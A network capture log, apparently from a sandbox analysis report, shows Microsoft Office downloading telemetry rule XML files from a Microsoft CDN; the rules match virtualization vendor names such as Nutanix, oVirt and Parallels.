2024-10-24 20:09:40 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:40 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 97925bc6-b01e-0002-7e3b-261b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200940Z-r197bdfb6b4kzncf21qcaynxz800000002b000000000sp4m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-24 20:09:40 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.5	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:40 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:40 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:40 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: e2c56d39-d01e-0066-36df-25ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200940Z-15b8d89586fzhrwgk23ex2bvhw000000026g00000000g1pp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-24 20:09:40 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.5	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:41 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:41 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:41 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 40a513cc-e01e-0051-0ef3-2484b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200941Z-r197bdfb6b4lbgfqwkqbrm672s00000001xg00000000swh1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:41 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.5	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:41 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:41 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:41 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 26e7cda7-e01e-001f-32f8-251633000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200941Z-16849878b785dznd7xpawq9gcn00000000vg00000000k8hy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:41 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.5	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:41 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:41 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:41 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: c5ea9194-001e-00ad-143a-26554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200941Z-16849878b78c2tmb7nhatnd68s00000008a0000000000dzt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:41 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.5	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:41 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:41 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:41 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 1c275e9e-901e-0048-342c-26b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200941Z-r197bdfb6b4tq6ldv3s2dcykm800000001yg00000000u5ek x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:41 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.5	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:41 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:41 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:41 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 90538902-201e-0096-67fc-25ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200941Z-15b8d89586flzzks5bs37v2b9000000003vg0000000013bf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:41 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.5	49801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:42 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:42 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:42 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: e574f622-301e-0052-4beb-2565d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200942Z-16849878b78q4pnrt955f8nkx80000000840000000007dmm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:42 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.5	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:42 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:42 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:42 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 7cfbc72c-d01e-0082-6d55-22e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200942Z-16849878b78smng4k6nq15r6s400000000xg00000000w55t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-24 20:09:42 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.5	49803	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:42 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:42 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:42 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 6cbbe1db-401e-0083-6516-26075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200942Z-16849878b78j5kdg3dndgqw0vg00000001ag0000000000gx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:42 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.5	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:42 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:42 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:42 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 28b65c2d-201e-0003-2d3f-26f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200942Z-r197bdfb6b4k6h5jmacuw3pcw800000000pg00000000gqae x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:42 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.5	49804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:42 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:42 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:42 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: ee7a308c-c01e-00a1-620b-227e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200942Z-16849878b78p6ttkmyustyrk8s000000081000000000nk9z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:42 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

